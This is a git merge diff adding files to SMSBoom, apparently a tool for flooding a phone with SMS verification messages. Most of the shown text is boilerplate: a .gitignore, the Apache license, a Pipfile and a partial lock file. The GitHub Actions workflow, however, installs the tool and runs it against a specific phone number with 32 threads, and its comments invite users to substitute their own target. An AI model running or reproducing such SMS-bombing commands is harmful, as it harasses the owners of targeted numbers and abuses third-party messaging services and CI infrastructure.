Merge branch 'master' of github.com:weclont/SMSBoom
29
.github/workflows/run.yaml
vendored
Executable file
@@ -0,0 +1,29 @@
|
||||
name: 🚀 Run SMSBoom in Action
|
||||
|
||||
# 触发 Action 的条件
|
||||
on:
|
||||
# 定时触发 参考 https://docs.github.com/cn/actions/using-workflows/events-that-trigger-workflows#schedule
|
||||
# schedule:
|
||||
# - cron: '30 5 * * 1,3'
|
||||
# - cron: '30 5 * * 2,4'
|
||||
# 手动触发
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
# 签出项目代码
|
||||
- uses: actions/checkout@v3
|
||||
# 设置 py3.8 环境
|
||||
- name: 🚀 Set up Python 3.x
|
||||
uses: actions/setup-python@v3
|
||||
with:
|
||||
python-version: '3.8'
|
||||
|
||||
- name: 🚀 Run SMSBoom Script
|
||||
# 此处可以自定义命令行运行参数.替换手机号
|
||||
run: |
|
||||
pip3 install -r requirements.txt
|
||||
python3 smsboom.py run -p 19820294268 -t 32
|
||||
160
.gitignore
vendored
Executable file
@@ -0,0 +1,160 @@
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
share/python-wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
MANIFEST
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.nox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*.cover
|
||||
*.py,cover
|
||||
.hypothesis/
|
||||
.pytest_cache/
|
||||
cover/
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
local_settings.py
|
||||
db.sqlite3
|
||||
db.sqlite3-journal
|
||||
|
||||
# Flask stuff:
|
||||
instance/
|
||||
.webassets-cache
|
||||
|
||||
# Scrapy stuff:
|
||||
.scrapy
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
.pybuilder/
|
||||
target/
|
||||
|
||||
# Jupyter Notebook
|
||||
.ipynb_checkpoints
|
||||
|
||||
# IPython
|
||||
profile_default/
|
||||
ipython_config.py
|
||||
|
||||
# pyenv
|
||||
# For a library or package, you might want to ignore these files since the code is
|
||||
# intended to run in multiple environments; otherwise, check them in:
|
||||
# .python-version
|
||||
|
||||
# pipenv
|
||||
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
|
||||
# However, in case of collaboration, if having platform-specific dependencies or dependencies
|
||||
# having no cross-platform support, pipenv may install dependencies that don't work, or not
|
||||
# install all needed dependencies.
|
||||
#Pipfile.lock
|
||||
|
||||
# poetry
|
||||
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
|
||||
# This is especially recommended for binary packages to ensure reproducibility, and is more
|
||||
# commonly ignored for libraries.
|
||||
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
|
||||
#poetry.lock
|
||||
|
||||
# pdm
|
||||
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
|
||||
#pdm.lock
|
||||
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
|
||||
# in version control.
|
||||
# https://pdm.fming.dev/#use-with-ide
|
||||
.pdm.toml
|
||||
|
||||
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
|
||||
__pypackages__/
|
||||
|
||||
# Celery stuff
|
||||
celerybeat-schedule
|
||||
celerybeat.pid
|
||||
|
||||
# SageMath parsed files
|
||||
*.sage.py
|
||||
|
||||
# Environments
|
||||
.env
|
||||
.venv
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
env.bak/
|
||||
venv.bak/
|
||||
|
||||
# Spyder project settings
|
||||
.spyderproject
|
||||
.spyproject
|
||||
|
||||
# Rope project settings
|
||||
.ropeproject
|
||||
|
||||
# mkdocs documentation
|
||||
/site
|
||||
|
||||
# mypy
|
||||
.mypy_cache/
|
||||
.dmypy.json
|
||||
dmypy.json
|
||||
|
||||
# Pyre type checker
|
||||
.pyre/
|
||||
|
||||
# pytype static type analyzer
|
||||
.pytype/
|
||||
|
||||
# Cython debug symbols
|
||||
cython_debug/
|
||||
|
||||
# PyCharm
|
||||
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
|
||||
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
|
||||
# and can be added to the global gitignore or merged into this file. For a more nuclear
|
||||
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
|
||||
#.idea/
|
||||
1020
GETAPI.json
Executable file
201
LICENSE
Executable file
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright 2022 WhaleFall
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
20
Pipfile
Executable file
@@ -0,0 +1,20 @@
|
||||
[[source]]
|
||||
url = "https://pypi.doubanio.com/simple/"
|
||||
verify_ssl = true
|
||||
name = "pypi"
|
||||
|
||||
[packages]
|
||||
httpx = "*"
|
||||
loguru = "*"
|
||||
click = "*"
|
||||
pydantic = "*"
|
||||
|
||||
[dev-packages]
|
||||
flask = "*"
|
||||
flask-admin = "*"
|
||||
flask-babelex = "*"
|
||||
flask-sqlalchemy = "*"
|
||||
celery = "*"
|
||||
|
||||
[requires]
|
||||
python_version = "3.9"
|
||||
501
Pipfile.lock
generated
Normal file
@@ -0,0 +1,501 @@
|
||||
{
|
||||
"_meta": {
|
||||
"hash": {
|
||||
"sha256": "fb2c1138ad23c9534b53f9d26631997f839a84c24b3d576192cdebd0a1edcd47"
|
||||
},
|
||||
"pipfile-spec": 6,
|
||||
"requires": {
|
||||
"python_version": "3.9"
|
||||
},
|
||||
"sources": [
|
||||
{
|
||||
"name": "pypi",
|
||||
"url": "https://pypi.doubanio.com/simple/",
|
||||
"verify_ssl": true
|
||||
}
|
||||
]
|
||||
},
|
||||
"default": {
|
||||
"anyio": {
|
||||
"hashes": [
|
||||
"sha256:413adf95f93886e442aea925f3ee43baa5a765a64a0f52c6081894f9992fdd0b",
|
||||
"sha256:cb29b9c70620506a9a8f87a309591713446953302d7d995344d0d7c6c0c9a7be"
|
||||
],
|
||||
"markers": "python_full_version >= '3.6.2'",
|
||||
"version": "==3.6.1"
|
||||
},
|
||||
"certifi": {
|
||||
"hashes": [
|
||||
"sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872",
|
||||
"sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569"
|
||||
],
|
||||
"version": "==2021.10.8"
|
||||
},
|
||||
"charset-normalizer": {
|
||||
"hashes": [
|
||||
"sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597",
|
||||
"sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df"
|
||||
],
|
||||
"markers": "python_full_version >= '3.5.0'",
|
||||
"version": "==2.0.12"
|
||||
},
|
||||
"click": {
|
||||
"hashes": [
|
||||
"sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e",
|
||||
"sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==8.1.3"
|
||||
},
|
||||
"h11": {
|
||||
"hashes": [
|
||||
"sha256:36a3cb8c0a032f56e2da7084577878a035d3b61d104230d4bd49c0c6b555a9c6",
|
||||
"sha256:47222cb6067e4a307d535814917cd98fd0a57b6788ce715755fa2b6c28b56042"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==0.12.0"
|
||||
},
|
||||
"httpcore": {
|
||||
"hashes": [
|
||||
"sha256:47d772f754359e56dd9d892d9593b6f9870a37aeb8ba51e9a88b09b3d68cfade",
|
||||
"sha256:7503ec1c0f559066e7e39bc4003fd2ce023d01cf51793e3c173b864eb456ead1"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==0.14.7"
|
||||
},
|
||||
"httpx": {
|
||||
"hashes": [
|
||||
"sha256:d8e778f76d9bbd46af49e7f062467e3157a5a3d2ae4876a4bbfd8a51ed9c9cb4",
|
||||
"sha256:e35e83d1d2b9b2a609ef367cc4c1e66fd80b750348b20cc9e19d1952fc2ca3f6"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==0.22.0"
|
||||
},
|
||||
"idna": {
|
||||
"hashes": [
|
||||
"sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff",
|
||||
"sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d"
|
||||
],
|
||||
"markers": "python_full_version >= '3.5.0'",
|
||||
"version": "==3.3"
|
||||
},
|
||||
"loguru": {
|
||||
"hashes": [
|
||||
"sha256:066bd06758d0a513e9836fd9c6b5a75bfb3fd36841f4b996bc60b547a309d41c",
|
||||
"sha256:4e2414d534a2ab57573365b3e6d0234dfb1d84b68b7f3b948e6fb743860a77c3"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==0.6.0"
|
||||
},
|
||||
"pydantic": {
|
||||
"hashes": [
|
||||
"sha256:085ca1de245782e9b46cefcf99deecc67d418737a1fd3f6a4f511344b613a5b3",
|
||||
"sha256:086254884d10d3ba16da0588604ffdc5aab3f7f09557b998373e885c690dd398",
|
||||
"sha256:0b6037175234850ffd094ca77bf60fb54b08b5b22bc85865331dd3bda7a02fa1",
|
||||
"sha256:0fe476769acaa7fcddd17cadd172b156b53546ec3614a4d880e5d29ea5fbce65",
|
||||
"sha256:1d5278bd9f0eee04a44c712982343103bba63507480bfd2fc2790fa70cd64cf4",
|
||||
"sha256:2cc6a4cb8a118ffec2ca5fcb47afbacb4f16d0ab8b7350ddea5e8ef7bcc53a16",
|
||||
"sha256:2ee7e3209db1e468341ef41fe263eb655f67f5c5a76c924044314e139a1103a2",
|
||||
"sha256:3011b975c973819883842c5ab925a4e4298dffccf7782c55ec3580ed17dc464c",
|
||||
"sha256:3c3b035103bd4e2e4a28da9da7ef2fa47b00ee4a9cf4f1a735214c1bcd05e0f6",
|
||||
"sha256:4c68c3bc88dbda2a6805e9a142ce84782d3930f8fdd9655430d8576315ad97ce",
|
||||
"sha256:574936363cd4b9eed8acdd6b80d0143162f2eb654d96cb3a8ee91d3e64bf4cf9",
|
||||
"sha256:5a79330f8571faf71bf93667d3ee054609816f10a259a109a0738dac983b23c3",
|
||||
"sha256:5e48ef4a8b8c066c4a31409d91d7ca372a774d0212da2787c0d32f8045b1e034",
|
||||
"sha256:6c5b77947b9e85a54848343928b597b4f74fc364b70926b3c4441ff52620640c",
|
||||
"sha256:742645059757a56ecd886faf4ed2441b9c0cd406079c2b4bee51bcc3fbcd510a",
|
||||
"sha256:7bdfdadb5994b44bd5579cfa7c9b0e1b0e540c952d56f627eb227851cda9db77",
|
||||
"sha256:815ddebb2792efd4bba5488bc8fde09c29e8ca3227d27cf1c6990fc830fd292b",
|
||||
"sha256:8b5ac0f1c83d31b324e57a273da59197c83d1bb18171e512908fe5dc7278a1d6",
|
||||
"sha256:96f240bce182ca7fe045c76bcebfa0b0534a1bf402ed05914a6f1dadff91877f",
|
||||
"sha256:a733965f1a2b4090a5238d40d983dcd78f3ecea221c7af1497b845a9709c1721",
|
||||
"sha256:ab624700dc145aa809e6f3ec93fb8e7d0f99d9023b713f6a953637429b437d37",
|
||||
"sha256:b2571db88c636d862b35090ccf92bf24004393f85c8870a37f42d9f23d13e032",
|
||||
"sha256:bbbc94d0c94dd80b3340fc4f04fd4d701f4b038ebad72c39693c794fd3bc2d9d",
|
||||
"sha256:c0727bda6e38144d464daec31dff936a82917f431d9c39c39c60a26567eae3ed",
|
||||
"sha256:c556695b699f648c58373b542534308922c46a1cda06ea47bc9ca45ef5b39ae6",
|
||||
"sha256:c86229333cabaaa8c51cf971496f10318c4734cf7b641f08af0a6fbf17ca3054",
|
||||
"sha256:c8d7da6f1c1049eefb718d43d99ad73100c958a5367d30b9321b092771e96c25",
|
||||
"sha256:c8e9dcf1ac499679aceedac7e7ca6d8641f0193c591a2d090282aaf8e9445a46",
|
||||
"sha256:cb23bcc093697cdea2708baae4f9ba0e972960a835af22560f6ae4e7e47d33f5",
|
||||
"sha256:d1e4c28f30e767fd07f2ddc6f74f41f034d1dd6bc526cd59e63a82fe8bb9ef4c",
|
||||
"sha256:d9c9bdb3af48e242838f9f6e6127de9be7063aad17b32215ccc36a09c5cf1070",
|
||||
"sha256:dee5ef83a76ac31ab0c78c10bd7d5437bfdb6358c95b91f1ba7ff7b76f9996a1",
|
||||
"sha256:e0896200b6a40197405af18828da49f067c2fa1f821491bc8f5bde241ef3f7d7",
|
||||
"sha256:f5a64b64ddf4c99fe201ac2724daada8595ada0d102ab96d019c1555c2d6441d",
|
||||
"sha256:f947352c3434e8b937e3aa8f96f47bdfe6d92779e44bb3f41e4c213ba6a32145"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==1.9.0"
|
||||
},
|
||||
"rfc3986": {
|
||||
"extras": [
|
||||
"idna2008"
|
||||
],
|
||||
"hashes": [
|
||||
"sha256:270aaf10d87d0d4e095063c65bf3ddbc6ee3d0b226328ce21e036f946e421835",
|
||||
"sha256:a86d6e1f5b1dc238b218b012df0aa79409667bb209e58da56d0b94704e712a97"
|
||||
],
|
||||
"version": "==1.5.0"
|
||||
},
|
||||
"sniffio": {
|
||||
"hashes": [
|
||||
"sha256:471b71698eac1c2112a40ce2752bb2f4a4814c22a54a3eed3676bc0f5ca9f663",
|
||||
"sha256:c4666eecec1d3f50960c6bdf61ab7bc350648da6c126e3cf6898d8cd4ddcd3de"
|
||||
],
|
||||
"markers": "python_full_version >= '3.5.0'",
|
||||
"version": "==1.2.0"
|
||||
},
|
||||
"typing-extensions": {
|
||||
"hashes": [
|
||||
"sha256:6657594ee297170d19f67d55c05852a874e7eb634f4f753dbd667855e07c1708",
|
||||
"sha256:f1c24655a0da0d1b67f07e17a5e6b2a105894e6824b92096378bb3668ef02376"
|
||||
],
|
||||
"markers": "python_version >= '3.7'",
|
||||
"version": "==4.2.0"
|
||||
}
|
||||
},
|
||||
"develop": {
|
||||
"amqp": {
|
||||
"hashes": [
|
||||
"sha256:2c1b13fecc0893e946c65cbd5f36427861cffa4ea2201d8f6fca22e2a373b5e2",
|
||||
"sha256:6f0956d2c23d8fa6e7691934d8c3930eadb44972cbbd1a7ae3a520f735d43359"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==5.1.1"
|
||||
},
|
||||
"babel": {
|
||||
"hashes": [
|
||||
"sha256:3f349e85ad3154559ac4930c3918247d319f21910d5ce4b25d439ed8693b98d2",
|
||||
"sha256:98aeaca086133efb3e1e2aad0396987490c8425929ddbcfe0550184fdc54cd13"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==2.10.1"
|
||||
},
|
||||
"billiard": {
|
||||
"hashes": [
|
||||
"sha256:299de5a8da28a783d51b197d496bef4f1595dd023a93a4f59dde1886ae905547",
|
||||
"sha256:87103ea78fa6ab4d5c751c4909bcff74617d985de7fa8b672cf8618afd5a875b"
|
||||
],
|
||||
"version": "==3.6.4.0"
|
||||
},
|
||||
"celery": {
|
||||
"hashes": [
|
||||
"sha256:d1398cadf30f576266b34370e28e880306ec55f7a4b6307549b0ae9c15663481",
|
||||
"sha256:da31f8eae7607b1582e5ee2d3f2d6f58450585afd23379491e3d9229d08102d0"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==5.2.6"
|
||||
},
|
||||
"click": {
|
||||
"hashes": [
|
||||
"sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e",
|
||||
"sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==8.1.3"
|
||||
},
|
||||
"click-didyoumean": {
|
||||
"hashes": [
|
||||
"sha256:a0713dc7a1de3f06bc0df5a9567ad19ead2d3d5689b434768a6145bff77c0667",
|
||||
"sha256:f184f0d851d96b6d29297354ed981b7dd71df7ff500d82fa6d11f0856bee8035"
|
||||
],
|
||||
"markers": "python_full_version >= '3.6.2' and python_full_version < '4.0.0'",
|
||||
"version": "==0.3.0"
|
||||
},
|
||||
"click-plugins": {
|
||||
"hashes": [
|
||||
"sha256:46ab999744a9d831159c3411bb0c79346d94a444df9a3a3742e9ed63645f264b",
|
||||
"sha256:5d262006d3222f5057fd81e1623d4443e41dcda5dc815c06b442aa3c02889fc8"
|
||||
],
|
||||
"version": "==1.1.1"
|
||||
},
|
||||
"click-repl": {
|
||||
"hashes": [
|
||||
"sha256:94b3fbbc9406a236f176e0506524b2937e4b23b6f4c0c0b2a0a83f8a64e9194b",
|
||||
"sha256:cd12f68d745bf6151210790540b4cb064c7b13e571bc64b6957d98d120dacfd8"
|
||||
],
|
||||
"version": "==0.2.0"
|
||||
},
|
||||
"flask": {
|
||||
"hashes": [
|
||||
"sha256:315ded2ddf8a6281567edb27393010fe3406188bafbfe65a3339d5787d89e477",
|
||||
"sha256:fad5b446feb0d6db6aec0c3184d16a8c1f6c3e464b511649c8918a9be100b4fe"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==2.1.2"
|
||||
},
|
||||
"flask-admin": {
|
||||
"hashes": [
|
||||
"sha256:424ffc79b7b0dfff051555686ea12e86e48dffacac14beaa319fb4502ac40988"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==1.6.0"
|
||||
},
|
||||
"flask-babelex": {
|
||||
"hashes": [
|
||||
"sha256:39a59ccee9386a9d52d80b9101224402036aedc2c7873b11deef6e4e21cace27",
|
||||
"sha256:f744d0557cb04cafed733cfa96e7373b46263d4cf79a2c5988c65085f360d873"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==0.9.4"
|
||||
},
|
||||
"flask-sqlalchemy": {
|
||||
"hashes": [
|
||||
"sha256:2bda44b43e7cacb15d4e05ff3cc1f8bc97936cc464623424102bfc2c35e95912",
|
||||
"sha256:f12c3d4cc5cc7fdcc148b9527ea05671718c3ea45d50c7e732cceb33f574b390"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==2.5.1"
|
||||
},
|
||||
"greenlet": {
|
||||
"hashes": [
|
||||
"sha256:0051c6f1f27cb756ffc0ffbac7d2cd48cb0362ac1736871399a739b2885134d3",
|
||||
"sha256:00e44c8afdbe5467e4f7b5851be223be68adb4272f44696ee71fe46b7036a711",
|
||||
"sha256:013d61294b6cd8fe3242932c1c5e36e5d1db2c8afb58606c5a67efce62c1f5fd",
|
||||
"sha256:049fe7579230e44daef03a259faa24511d10ebfa44f69411d99e6a184fe68073",
|
||||
"sha256:14d4f3cd4e8b524ae9b8aa567858beed70c392fdec26dbdb0a8a418392e71708",
|
||||
"sha256:166eac03e48784a6a6e0e5f041cfebb1ab400b394db188c48b3a84737f505b67",
|
||||
"sha256:17ff94e7a83aa8671a25bf5b59326ec26da379ace2ebc4411d690d80a7fbcf23",
|
||||
"sha256:1e12bdc622676ce47ae9abbf455c189e442afdde8818d9da983085df6312e7a1",
|
||||
"sha256:21915eb821a6b3d9d8eefdaf57d6c345b970ad722f856cd71739493ce003ad08",
|
||||
"sha256:288c6a76705dc54fba69fbcb59904ae4ad768b4c768839b8ca5fdadec6dd8cfd",
|
||||
"sha256:2bde6792f313f4e918caabc46532aa64aa27a0db05d75b20edfc5c6f46479de2",
|
||||
"sha256:32ca72bbc673adbcfecb935bb3fb1b74e663d10a4b241aaa2f5a75fe1d1f90aa",
|
||||
"sha256:356b3576ad078c89a6107caa9c50cc14e98e3a6c4874a37c3e0273e4baf33de8",
|
||||
"sha256:40b951f601af999a8bf2ce8c71e8aaa4e8c6f78ff8afae7b808aae2dc50d4c40",
|
||||
"sha256:572e1787d1460da79590bf44304abbc0a2da944ea64ec549188fa84d89bba7ab",
|
||||
"sha256:58df5c2a0e293bf665a51f8a100d3e9956febfbf1d9aaf8c0677cf70218910c6",
|
||||
"sha256:64e6175c2e53195278d7388c454e0b30997573f3f4bd63697f88d855f7a6a1fc",
|
||||
"sha256:7227b47e73dedaa513cdebb98469705ef0d66eb5a1250144468e9c3097d6b59b",
|
||||
"sha256:7418b6bfc7fe3331541b84bb2141c9baf1ec7132a7ecd9f375912eca810e714e",
|
||||
